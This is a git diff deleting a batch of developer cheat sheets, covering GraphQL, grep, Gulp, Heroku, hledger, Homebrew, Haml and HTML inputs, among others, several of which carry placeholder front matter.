-    friends: [{ name: 'Luke Skywalker' }, { name: 'Han Solo' }, { name: 'R2D2' }];
-}
-```
-
-{: .-setup}
-
-GraphQL queries look the same for both single items or lists of items.
-
-### Lookups
-
-```js
-{
-  hero(id: "1000") { id name }
-}
-```
-
-#### ↓
-
-```js
-{ hero:
-    { id: "1000",
-    { name: "Luke Skywalker" } }
-```
-
-{: .-setup}
-
-### Aliases
-
-```js
-{
-  luke: hero(id: "1000") { name }
-  han: hero(id: "1001") { name }
-}
-```
-
-#### ↓
-
-```js
-{ luke:
-    { name: "Luke Skywalker" },
-    han:
-    { name: "Han Solo" } }
-```
-
-{: .-setup}
-
-### Operation names and variables
-
-#### Query
-
-```js
-query FindHero($id: String!) {
-  hero(id: $id) { name }
-}
-```
-
-Just to make things less ambiguous. Also, to use variables, you need an operation name.
-
-#### Variables
-
-```js
-{
-    id: '1000';
-}
-```
-
-### Mutations
-
-#### Query
-
-```js
-{ createReview($review) { id } }
-```
-
-#### Variables
-
-```js
-{
-    review: {
-        stars: 5;
-    }
-}
-```
-
-#### ↓
-
-```js
-{
-    createReview: {
-        id: 5291;
-    }
-}
-```
-
-Mutations are just fields that do something when queried.
-
-### Multiple types
-
-```js
-{
-  search(q: "john") {
-    id
-    ... on User { name }
-    ... on Comment { body author { name } }
-  }
-}
-```
-
-Great for searching.
-
-## Over HTTP
-
-#### GET
-
-```js
-fetch('http://myapi/graphql?query={ me { name } }');
-```
-
-#### POST
-
-```js
-fetch('http://myapi/graphql', {
-  body: JSON.stringify({
-    query: '...',
-    operationName: '...',
-    variables: { ... }
-  })
-})
-```
-
-## Schema
-
-### Basic schemas
-
-```js
-type Query {
-  me: User
-  users(limit: Int): [User]
-}
-
-type User {
-  id: ID!
-  name: String
-}
-```
-
-See: [sogko/graphql-shorthand-notation-cheat-sheet](https://raw.githubusercontent.com/sogko/graphql-shorthand-notation-cheat-sheet/master/graphql-shorthand-notation-cheat-sheet.png)
-
-### Built in types
-
-#### Scalar types
-
-| `Int` | Integer |
-| `Float` | Float |
-| `String` | String |
-| `Boolean` | Boolean |
-| `ID` | ID |
-
-#### Type definitions
-
-| `scalar` | Scalar type |
-| `type` | Object type |
-| `interface` | Interface type |
-| `union` | Union type |
-| `enum` | Enumerable type |
-| `input` | Input object type |
-
-#### Type modifiers
-
-| `String` | Nullable string |
-| `String!` | Required string |
-| `[String]` | List of strings |
-| `[String]!` | Required list of strings |
-| `[String!]!` | Required list of required strings |
-
-### Mutations
-
-```js
-type Mutation {
-  users(params: ListUsersInput) [User]!
-}
-```
-
-### Interfaces
-
-```js
-interface Entity {
-  id: ID!
-}
-
-type User implements Entity {
-  id: ID!
-  name: String
-}
-```
-
-### Enums
-
-```js
-enum DIRECTION {
-  LEFT
-  RIGHT
-}
-
-type Root {
-  direction: DIRECTION!
-}
-```
-
-{: data-line="1,2,3,4"}
-
-### Unions
-
-```js
-type Artist { ··· }
-type Album { ··· }
-
-union Result = Artist | Album
-
-type Query {
-  search(q: String) [Result]
-}
-```
-
-{: data-line="4"}
-
-## References
-
--   <http://graphql.org/learn/queries/>
--   <http://graphql.org/learn/serving-over-http/>
diff --git a/docs/content/cheat-sheets/graphs_cheatsheet.md b/docs/content/cheat-sheets/graphs_cheatsheet.md
deleted file mode 100644
index 962d8960c2..0000000000
--- a/docs/content/cheat-sheets/graphs_cheatsheet.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# graphs_cheatsheet
-
-```
-class TreeNode {
-  constructor(val) {
-    this.val = val;
-    this.left = null;
-    this.right = null;
-  }
-}
-```
-
-implement a queue
-
-implement a stack
-
-node,l. subtree, r. subtree
-
-l.subtree, node, r.subtreethe left subtree contains values less than the root
-
-l.subtree, r.subtree, node
-
-BST Definition
-
-1. l. subtree contains values < root
-2. r. subtree contains values >= to the root
-3. l. & r. subtree are BST
-
-insert: log(n)\
-search: log(n)
-
--   Using a node implementation with iteration:
-
-```
-function depthFirstIter(node) {
-    let visited = new Set();
-    let stack = [ node ];
-
-    while (stack.length) {
-        let node = stack.pop();
-
-
-        if (visited.has(node.val)) continue;
-
-
-
-        console.log(node.val);
-        visited.add(node.val);
-
-
-        stack.push(...node.neighbors);
-    }
-}
-```
diff --git a/docs/content/cheat-sheets/gremlins.md b/docs/content/cheat-sheets/gremlins.md
deleted file mode 100644
index 25331ee239..0000000000
--- a/docs/content/cheat-sheets/gremlins.md
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Gremlins.js
-category: JavaScript libraries
-
-weight: -1
-intro: |
-[Gremlins](https://github.com/marmelab/gremlins.js) is a JavaScript library to do "monkey-testing" by providing random user input (clicks, scrolls, and so on).
-
----
-
-## Example
-
-### Simple example
-
-```html
-<script src="https://cdn.jsdelivr.net/npm/gremlins/dist/gremlins.js"></script>
-<script>
-    gremlins.createHorde().unleash();
-</script>
-```
-
-![](https://camo.githubusercontent.com/130e101ee69d4d9b6f065df0a0404c861eb5ce18/687474703a2f2f7374617469632e6d61726d656c61622e636f6d2f746f646f2e676966?q=99)
-
-### Custom gremlins
-
-```js
-gremlins
-    .createHorde()
-    .allGremlins()
-    .gremlin(function () {
-        document.activeElement.blur();
-    });
-```
-
-{: data-line="3,4,5"}
-
-Runs the given function at regular intervals.
-
-### Full example
-
-```js
-gremlins.createHorde()
-  .gremlin(gremlins.species.formFiller())
-  .gremlin(gremlins.species.clicker()
-    .clickTypes(['click'])
-    .canClick(element => { ··· })
-    .showAction((x, y) => { ··· }))
-  .gremlin(gremlins.species.scroller())
-  .mogwai(gremlins.mogwais.alert())
-  .mogwai(gremlins.mogwais.fps())
-  .mogwai(gremlins.mogwais.gizmo().maxErrors(2))
-  .unleash()
-```
-
-By default, all gremlins and mogwais species are added to the horde. Do it this way to customize gremlins.
-
-See: [Specifying gremlins](https://github.com/marmelab/gremlins.js#setting-gremlins-and-mogwais-to-use-in-a-test)
-
-## Hooks
-
-### Before and after
-
-```js
-gremlins
-    .createHorde()
-    .before(function () {
-        this.log('sync');
-        console.profile('gremlins');
-    })
-    .after(function () {
-        this.log('done');
-        console.profileEnd();
-    });
-```
-
-{: data-line="2,6"}
-
-### Asynchronous
-
-```js
-gremlins.createHorde().before(function (done) {
-    setTimeout(() => {
-        this.log('async');
-        done();
-    }, 500);
-});
-```
-
-{: data-line="2"}
-
-## References
-
--   [marmelab/gremlins.js](https://github.com/marmelab/gremlins.js)
diff --git a/docs/content/cheat-sheets/grep.md b/docs/content/cheat-sheets/grep.md
deleted file mode 100644
index 64170fc238..0000000000
--- a/docs/content/cheat-sheets/grep.md
+++ /dev/null
@@ -1,54 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To search a file for a pattern:
-
-grep <pattern> <file>
-
-# To perform a case-insensitive search (with line numbers):
-
-grep -in <pattern> <file>
-
-# To recursively grep for string <pattern> in <dir>:
-
-grep -R <pattern> <dir>
-
-# Read search patterns from a file (one per line):
-
-grep -f <pattern-file> <file>
-
-# Find lines NOT containing pattern:
-
-grep -v <pattern> <file>
-
-# To grep with regular expressions:
-
-grep "^00" <file> # Match lines starting with 00
-grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" <file> # Find IP add
-
-# To find all files that match <pattern> in <dir>
-
-grep -rnw <dir> -e <pattern>
-
-# To exclude grep from your grepped output of ps:
-
-# (Add [] to the first letter. Ex: sshd -> [s]shd)
-
-ps aux | grep '[h]ttpd'
-
-# Colour in red {bash} and keep all other lines
-
-ps aux | grep -E --color 'bash|$'
diff --git a/docs/content/cheat-sheets/gulp.md b/docs/content/cheat-sheets/gulp.md
deleted file mode 100644
index 2764194146..0000000000
--- a/docs/content/cheat-sheets/gulp.md
+++ /dev/null
@@ -1,154 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Gulp
-category: JavaScript libraries
-
----
-
--   gulp-ruby-sass
--   gulp-autoprefixer
--   gulp-minify-css
--   gulp-jshint
--   gulp-concat
--   gulp-uglify
--   gulp-imagemin
--   gulp-livereload (requires tiny-lr)
--   gulp-clean
--   gulp-cache
--   gulp-notify
-
--   gulp-header (headers in files)
--   gulp-mocha
--   gulp-stylus
--   gulp-compass
--   gulp-nodemon
--   gulp-size (displays size)
-
-### Example
-
-    // gulpfile.js
-    // Load plugins
-    var gulp = require('gulp'),
-        sass = require('gulp-ruby-sass'),
-        autoprefixer = require('gulp-autoprefixer'),
-        minifycss = require('gulp-minify-css'),
-        jshint = require('gulp-jshint'),
-        uglify = require('gulp-uglify'),
-        imagemin = require('gulp-imagemin'),
-        rename = require('gulp-rename'),
-        clean = require('gulp-clean'),
-        concat = require('gulp-concat'),
-        notify = require('gulp-notify'),
-        cache = require('gulp-cache'),
-        livereload = require('gulp-livereload'),
-        lr = require('tiny-lr'),
-        server = lr();
-
-    // Styles
-    gulp.task('styles', function() {
-      return gulp.src('src/styles/main.scss')
-        .pipe(sass({ style: 'expanded', }))
-        .pipe(autoprefixer('last 2 version', 'safari 5', 'ie 8', 'ie 9', 'opera 12.1', 'ios 6', 'android 4'))
-        .pipe(gulp.dest('dist/styles'))
-        .pipe(rename({ suffix: '.min' }))
-        .pipe(minifycss())
-        .pipe(livereload(server))
-        .pipe(gulp.dest('dist/styles'))
-        .pipe(notify({ message: 'Styles task complete' }));
-    });
-
-    // Scripts
-    gulp.task('scripts', function() {
-      return gulp.src('src/scripts/**/*.js')
-        .pipe(jshint('.jshintrc'))
-        .pipe(jshint.reporter('default'))
-        .pipe(concat('main.js'))
-        .pipe(gulp.dest('dist/scripts'))
-        .pipe(rename({ suffix: '.min' }))
-        .pipe(uglify())
-        .pipe(livereload(server))
-        .pipe(gulp.dest('dist/scripts'))
-        .pipe(notify({ message: 'Scripts task complete' }));
-    });
-
-    // Images
-    gulp.task('images', function() {
-      return gulp.src('src/images/**/*')
-        .pipe(cache(imagemin({ optimizationLevel: 3, progressive: true, interlaced: true })))
-        .pipe(livereload(server))
-        .pipe(gulp.dest('dist/images'))
-        .pipe(notify({ message: 'Images task complete' }));
-    });
-
-    // Clean
-    gulp.task('clean', function() {
-      return gulp.src(['dist/styles', 'dist/scripts', 'dist/images'], {read: false})
-        .pipe(clean());
-    });
-
-    // Default task
-    gulp.task('default', ['clean'], function() {
-        gulp.start('styles', 'scripts', 'images');
-    });
-
-    // Watch
-    gulp.task('watch', function() {
-
-      // Listen on port 35729
-      server.listen(35729, function (err) {
-        if (err) {
-          return console.log(err)
-        };
-
-        // Watch .scss files
-        gulp.watch('src/styles/**/*.scss', ['styles']);
-
-        // Watch .js files
-        gulp.watch('src/scripts/**/*.js', ['scripts']);
-
-        // Watch image files
-        gulp.watch('src/images/**/*', ['images']);
-
-      });
-
-    });
-
-### References
-
-https://github.com/gulpjs/gulp/blob/master/docs/getting-started.md#getting-started
-
-### Livereload
-
-    var lr = require('tiny-lr')();
-
-    function notify (lr, root) {
-      return function (event) {
-        var fname = require('path').relative(root, event.path);
-        lr.changed({ body: { files: [ fname ] }});
-      };
-    }
-
-    gulp.task('livereload', function () {
-      lr.listen(35729)
-      gulp.watch('public/**/*', notify(lr, __dirname+'/public'));
-    });
-
-    // Express
-    app.use(require('connect-livereload')())
-    <!-- livereload --><script>document.write('<script src="'+(location.protocol||'http:')+'//'+(location.hostname||'localhost')+':35729/livereload.js?snipver=1"><\/scr'+'ipt>')</script>
diff --git a/docs/content/cheat-sheets/gyb.md b/docs/content/cheat-sheets/gyb.md
deleted file mode 100644
index 510b1c6630..0000000000
--- a/docs/content/cheat-sheets/gyb.md
+++ /dev/null
@@ -1,33 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
-# To estimate the number and the size of all mails on youremail@gmail.com
-
-gyb --email youremail@gmail.com --action estimate
-
-# To backup from youremail@gmail.com to your local-folder
-
-gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/"
-
-# To backup from youremail@gmail.com only important or starred emails to the
-
-# default local folder GYB-GMail-Backup-youremail@gmail.com
-
-gyb --email youremail@gmail.com --search "is:important OR is:starred"
-
-# To restore from your local-folder to youremail@gmail.com
-
-gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/"
diff --git a/docs/content/cheat-sheets/haml.md b/docs/content/cheat-sheets/haml.md
deleted file mode 100644
index a501996b8c..0000000000
--- a/docs/content/cheat-sheets/haml.md
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Haml
-category: Markup
-
-prism_languages: [haml]
-
----
-
-### Doctype
-
-```haml
-!!! 5
-```
-
-### Tags
-
-```haml
-%html
-  %head
-    %title
-  %body
-    %h1 Hello World
-    %br/
-```
-
-### Classes and ID's
-
-```haml
-%p.class-example
-.no-tag-defaults-to-div
-%div#butItCanBeIncluded
-```
-
-### Inline Attributes
-
-Either hash syntax works
-
-```haml
-%meta{ name: "viewport", content: "width=device-width, initial-scale=1.0" }
-%input{ :type => "text", :required => true }
-```
-
-### Ruby
-
-```haml
--# This is a comment
--# Anything starting with a hyphen signals to Haml that Ruby is coming
-- @arr = [1, 2, 3]
-- @str = "test"
--# Equal signals output
-= render partial: "shared/header"
-= yield
-= link_to page_url
-```
diff --git a/docs/content/cheat-sheets/handlebars.js.md b/docs/content/cheat-sheets/handlebars.js.md
deleted file mode 100644
index be5e7ac961..0000000000
--- a/docs/content/cheat-sheets/handlebars.js.md
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: Handlebars.js
-category: JavaScript libraries
-
-weight: -1
----
-
-{% raw %}
-
-### Helpers
-
-```js
-Handlebars.registerHelper('link_to', function () {
-    return "<a href='" + this.url + "'>" + this.body + '</a>';
-});
-```
-
-```js
-var context = { posts: [{ url: '/hello-world', body: 'Hello World!' }] };
-var source = '<ul>{{#posts}}<li>{{{link_to}}}</li>{{/posts}}</ul>';
-```
-
-```js
-var template = Handlebars.compile(source);
-template(context);
-```
-
-Would render:
-
-```html
-<ul>
-    <li><a href="/hello-world">Hello World!</a></li>
-</ul>
-```
-
-{% endraw %}
diff --git a/docs/content/cheat-sheets/harvey.js.md b/docs/content/cheat-sheets/harvey.js.md
deleted file mode 100644
index 656b878ec8..0000000000
--- a/docs/content/cheat-sheets/harvey.js.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Harvey.js
-category: JavaScript libraries
-
-intro: |
-[Harvey.js](http://harvesthq.github.io/harvey/) helps you build responsive interfaces.
-
----
-
-### Usage
-
-```js
-Harvey.attach('(min-width: 600px)', {
-    setup: function () {
-        // Called on first enter
-    },
-    on: function () {
-        // Called on every enter
-    },
-    off: function () {
-        // Called on every exit
-    }
-});
-```
-
-### Deprecated
-
-Harvey.js hasn't been updated in a while, as of time of writing. Consider [enquire.js](https://github.com/WickyNilliams/enquire.js) instead.
-
-### References
-
--   <http://harvesthq.github.io/harvey>
diff --git a/docs/content/cheat-sheets/heroku-cheat-sheet.md b/docs/content/cheat-sheets/heroku-cheat-sheet.md
deleted file mode 100644
index f4ad25f9f7..0000000000
--- a/docs/content/cheat-sheets/heroku-cheat-sheet.md
+++ /dev/null
@@ -1 +0,0 @@
-# 🛐 Heroku Cheat Sheet
diff --git a/docs/content/cheat-sheets/heroku.md b/docs/content/cheat-sheets/heroku.md
deleted file mode 100644
index 21c88dc044..0000000000
--- a/docs/content/cheat-sheets/heroku.md
+++ /dev/null
@@ -1,211 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Heroku
-category: Devops
-
-description: |
-A one-page reference to common Heroku-CLI commands.
-intro: |
-[Heroku](http://heroku.com/) is a web hosting platform supporting many languages, and this guide is a reference to Heroku's [command-line interface](http://heroku.com/).
-
----
-
-### `create` - Create an app
-
-```bash
-heroku create sushi
-```
-
-```bash
-git push heroku master
-```
-
-### `access` - Collaboration
-
-#### Manage collaborators
-
-```bash
-heroku access                     # List
-heroku access:add me@xy.com
-heroku access:remove me@xy.com
-```
-
-#### Transfer to another owner
-
-```bash
-heroku apps:transfer new@owner.com
-```
-
-### `logs` - Show logs
-
-```bash
-heroku logs
-heroku logs -t      # --tail (stream)
-heroku logs -s app  # --source (only on app logs)
-```
-
-### `releases`
-
-```bash
-heroku releases
-heroku releases:info v25
-heroku rollback
-```
-
-### `pg` - PostgreSQL
-
-#### Start a database
-
-```bash
-heroku addons:add heroku-postgresql
-```
-
-#### Enable backups
-
-```bash
-heroku addons:add pgbackups:auto-month
-```
-
-See: [Heroku PostgreSQL](https://devcenter.heroku.com/articles/heroku-postgresql) _(devcenter.heroku.com)_
-
-### `config` - Environment var configuration
-
-#### Listing
-
-```bash
-heroku config        # List
-heroku config -s     # List in shell format
-```
-
-#### Getting
-
-```bash
-heroku config:get KEY
-```
-
-#### Setting
-
-```bash
-heroku config:set KEY=val
-heroku config:set KEY1=val KEY2=val ...
-```
-
-```bash
-heroku config:unset KEY1
-```
-
-### `apps` - Applications
-
-```bash
-heroku apps                  # list
-heroku apps:create [NAME]
-heroku apps:destroy --app APP
-heroku apps:info
-heroku apps:open             # open in browser
-heroku apps:rename NEWNAME
-```
-
-### `maintenance`
-
-```bash
-heroku maintenance:on
-```
-
-```bash
-heroku maintenance:off
-```
-
-## Processes
-
-### `ps` - Managing processes
-
-```bash
-heroku ps              # list
-heroku ps:scale web=1  # spawn more dynos
-```
-
-### `restart`
-
-```bash
-heroku restart
-```
-
-### `run` - Running tasks
-
-```bash
-heroku run bash
-heroku run console                  # Rails console
-heroku run rake assets:precompile
-```
-
-## Domains
-
-### `domains` - Custom domains
-
-#### Add both!
-
-```bash
-heroku domains:add example.com
-heroku domains:add www.example.com
-```
-
-#### Removing
-
-```bash
-heroku domains:clear
-heroku domains:remove example.com
-```
-
-See: [Custom domains](https://devcenter.heroku.com/articles/custom-domains) _(devcenter.heroku.com)_
-
-### Wildcard domains
-
-```bash
-heroku addons:add wildcard_domains
-```
-
-```bash
-*.yourdomain.com => heroku.com
-```
-
-## Other tricks
-
-### htpasswd (for PHP apps)
-
-Create an `.htaccess` file in the webroot:
-
-```bash
-AuthUserFile /app/www/.htpasswd
-AuthType Basic
-AuthName "Restricted Access"
-Require valid-user
-```
-
-Create a `.htpasswd` file:
-
-```bash
-$ htpasswd -c .htpasswd [username]
-```
-
-See: [gist.github.com](https://gist.github.com/3316425)
-
-## References
-
--   <https://addons.heroku.com/>
--   <https://devcenter.heroku.com/>
diff --git a/docs/content/cheat-sheets/hledger.md b/docs/content/cheat-sheets/hledger.md
deleted file mode 100644
index 175ad80a86..0000000000
--- a/docs/content/cheat-sheets/hledger.md
+++ /dev/null
@@ -1,196 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Hledger
-category: Ledger
-
----
-
-## Reporting
-
-```
-hledger bal {query}
-hledger reg {query}
-```
-
-{:.large.terminal}
-
-## Query
-
-Queries are used on all commands (`bal`, `reg`, etc). [(docs)](http://hledger.org/manual.html#queries)
-
-```
-Assets           # An account (regex)
-acct:Assets      # same
-^Assets          # Starting with Assets (eg, not 'Expenses:Assets')
-
-acctonly:A       # no subaccounts
-
-amt:2000         # amount (in absolute value)
-amt:<200         # amount comparison (in absolute value)
-amt:<+200        # amount comparison
-                 # also: <=, >, >=
-
-desc:REGEX      # description
-code:REGEX      # transaction code (check number?)
-tag:REGEX
-cur:'\$'
-
-real:            # real posts
-real:0           # virtual posts
-
-depth:N          # --depth 2
-not:...          # eg, not:status:!
-```
-
-### Filter by status/type
-
-```
-real:1           # -R, --real, no virtuals
-status:!         #     --pending
-status:*         # -C, --cleared
-status:          #     --uncleared
-```
-
-### Periods
-
-For dates and intervals (see above).
-
-```
-date:2015/01/01
-date:2015/01/01-    # -b, --begin
-date:-2015/01/01    # -e, --end
-date2:PERIODEXPR
-```
-
-```
--p, --period=...
-  -p "2009/01/01"
-  -p "2009/01/01 to 2009/12/31"
-  -p "2009/01/01to2009/12/31"      # spaces optional
-  -p "1/1 to 12/31"
-  -p "to 2009"
-  -p "weekly"                      # -W, --weekly
-  -p "weekly 2009/01/01 to 2009/12/31"
-```
-
-### Intervals
-
-Used on all commands (`bal`, `reg`, etc). Displays in multi-column mode. In `ledger-cli`, only `reg` is supported. Can also specified via `-p` (period).
-
-```
--D, --daily
--W, --weekly
--M, --monthly
--Q, --quarterly
--Y, --yearly
-```
-
-### Smart dates
-
-Used for `--period`, `--begin` and `--end` (`-p` `-b` `-e`).
-
-```
--p 2015/01/01
--p 2015/01
--p 2015
--p january
--p jan
--p 05/25
-```
-
-```
--b today
--b yesterday
--e tomorrow
-```
-
-```
--p this week
--p last month
--p this year
-```
-
-## Display formats
-
-```
-    --tree          # only in bal
-    --flat
-
-    --depth 2       # collapse those under this depth
-    --drop 1        # drop top-level accounts
--B, --cost          # convert to default currency
--E, --empty         # don't strip out $0 accounts
-    --date2         # use date2 when available
-```
-
-## Multi-column mode
-
-When used with intervals (like `--weekly`):
-
-```
--T, --row-total
--N, --no-total
-```
-
-Also: (only in `bal`)
-
-```
-    --cumulative    # show ending balance per period
--I, --historical    # like --cumulative but only for --begin
--A, --average
-```
-
-## Accounts
-
-```
-hledger accounts [--tree]
-```
-
-## Other commands
-
-```
-hledger balancesheet       # bs
-hledger incomestatement    # is
-hledger cashflow           # cf
-hledger print
-hledger activity
-hledger stats
-```
-
-## Examples
-
-```
-# Current balance
-  hledger bal Assets
-  hledger balancesheet
-
-  hledger balancesheet Assets [--cleared --cost --empty -e tomorrow]
-  # ...discard future stuff; convert foreign currencies
-
-# Monthly changes in assets
-  hledger bal Assets Liabilities --monthly --tree --historical [--cleared --cost --empty -e tomorrow]
-
-# Weekly expenses
-  hledger bal Expenses --weekly --average --tree -b 'last month' [--cleared --cost --empty -e tomorrow]
-```
-
-## See also
-
--   <http://hledger.org/manual.html>
--   <http://ledger-cli.org/3.0/doc/ledger3.html>
diff --git a/docs/content/cheat-sheets/homebrew.md b/docs/content/cheat-sheets/homebrew.md
deleted file mode 100644
index b83903987f..0000000000
--- a/docs/content/cheat-sheets/homebrew.md
+++ /dev/null
@@ -1,76 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Homebrew
-
-weight: -3
-category: CLI
-
----
-
-### Commands
-
-| Command                    | Description                |
-| -------------------------- | -------------------------- |
-| `brew install git`         | Install a package          |
-| `brew uninstall git`       | Remove/Uninstall a package |
-| `brew upgrade git`         | Upgrade a package          |
-| ---                        | ---                        |
-| `brew unlink git`          | Unlink                     |
-| `brew link git`            | Link                       |
-| `brew switch git 2.5.0`    | Change versions            |
-| ---                        | ---                        |
-| `brew list --versions git` | See what versions you have |
-
-### More package commands
-
-| Command            | Description                 |
-| ------------------ | --------------------------- |
-| `brew info git`    | List versions, caveats, etc |
-| `brew cleanup git` | Remove old versions         |
-| `brew edit git`    | Edit this formula           |
-| `brew cat git`     | Print this formula          |
-| `brew home git`    | Open homepage               |
-| `brew search git`  | Search for formulas         |
-
-### Global commands
-
-| Command         | Description              |
-| --------------- | ------------------------ |
-| `brew update`   | Update brew and cask     |
-| `brew upgrade`  | Upgrade all packages     |
-| `brew list`     | List installed           |
-| `brew outdated` | What's due for upgrades? |
-| `brew doctor`   | Diagnose brew issues     |
-
-### Brew Cask commands
-
-| Command                       | Description                 |
-| ----------------------------- | --------------------------- |
-| `brew install --cask firefox` | Install the Firefox browser |
-| `brew list --cask`            | List installed applications |
-
-Cask commands are used for interacting with graphical applications.
-
-## Also see
-
-{: .-one-column}
-
--   [Homebrew homepage](https://brew.sh/) _brew.sh_
--   [Homebrew docs](https://docs.brew.sh) _docs.brew.sh_
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/html-email.md b/docs/content/cheat-sheets/html-email.md
deleted file mode 100644
index e9819d9927..0000000000
--- a/docs/content/cheat-sheets/html-email.md
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: HTML emails
-category: HTML
-
----
-
-### Properties to avoid
-
-| Property             | Where                   |
-| -------------------- | ----------------------- |
-| `position`           | (Outlook, Gmail, Yahoo) |
-| `display`            | (Outlook, Gmail)        |
-| `float`              | (Outlook)               |
-| ---                  | ---                     |
-| `height`             | (Outlook)               |
-| `width` _in p/div_   | (Outlook)               |
-| `padding` _in p/div_ | (Outlook)               |
-| `background`         | (Outlook, Gmail)        |
-| `min-width`          | (Outlook)               |
-| `max-width`          | (Outlook)               |
-| ---                  | ---                     |
-| `opacity`            | (Outlook, Gmail, Yahoo) |
-| `box-shadow`         | (Outlook, Gmail, Yahoo) |
-| ---                  | ---                     |
-| `rgba()`             | (Outlook)               |
-| `data-uri`           | (all webmail)           |
-
-### Selectors to avoid
-
-| `E[attr]` | (Outlook, Gmail) |
-| `E:nth-child(n)` | (Outlook, Gmail) |
-| `::before` _and_ `::after` | (Outlook, Yahoo, Gmail) |
-| `E F` | (Gmail) |
-| `E + F`, `E > F` _etc_ | (Outlook, Gmail) |
-
-Inline your CSS as much as possible.
-
-### Basic layout
-
-```html
-<table cellpadding="0" cellspacing="0" role="presentation">
-    <tr>
-        <td width="auto"></td>
-        <td width="600" background="#ffffff">···</td>
-        <td width="auto"></td>
-    </tr>
-</table>
-```
-
-### Responsive
-
-```html
-<style>
-    @media only screen and (max-device-width: 480px);
-</style>
-```
-
-`<style>` is supported in the head and body by everything except Gmail. Only use them for responsive styles.
-
-## References
-
-{: .-one-column}
-
--   [CSS support matrix](https://www.campaignmonitor.com/css/) _campaignmonitor.com_
diff --git a/docs/content/cheat-sheets/html-input.md b/docs/content/cheat-sheets/html-input.md
deleted file mode 100644
index 8b94ba9d9d..0000000000
--- a/docs/content/cheat-sheets/html-input.md
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Input tag
-category: HTML
-
-weight: -3
-
----
-
-### Input
-
-```html
- <input ...
-   disabled
-   required
-   checked
-```
-
-```html
-autofocus
-```
-
-```html
-autocomplete='off'
-<!-- autocomplete -->
-autocompletetype='cc-exp' autocapitalize='off'
-<!-- for mobiles -->
-pattern='\d*'
-<!-- force numeric input in iOS -->
-```
-
-### Input types
-
-#### Text
-
--   email
--   hidden
--   **password**
--   tel
--   **text**
--   search
-    {: .-four-column}
-
-#### Time
-
--   date
--   time
-    {: .-four-column}
-
-#### Time (not widely supported)
-
--   month
--   week
--   datetime
--   datetime-local
-    {: .-four-column}
-
-#### Etc
-
--   **file**
--   **radio**
--   **checkbox**
-    {: .-four-column}
-
-#### Buttons
-
--   button
--   reset
--   submit
--   image
-    {: .-four-column}
-
-#### Numeric
-
--   number
--   range
-    {: .-four-column}
-
-## Examples
-
-### Dates
-
-| Type          | Example             |
-| ------------- | ------------------- |
-| `type='date'` | <input type='date'> |
-| `type='time'` | <input type='time'> |
-
-### Datetime
-
-| Type                    | Example                       |
-| ----------------------- | ----------------------------- |
-| `type='datetime'`       | <input type='datetime'>       |
-| `type='datetime-local'` | <input type='datetime-local'> |
-
-`datetime` and `datetime-local` fields are not widely supported.
-
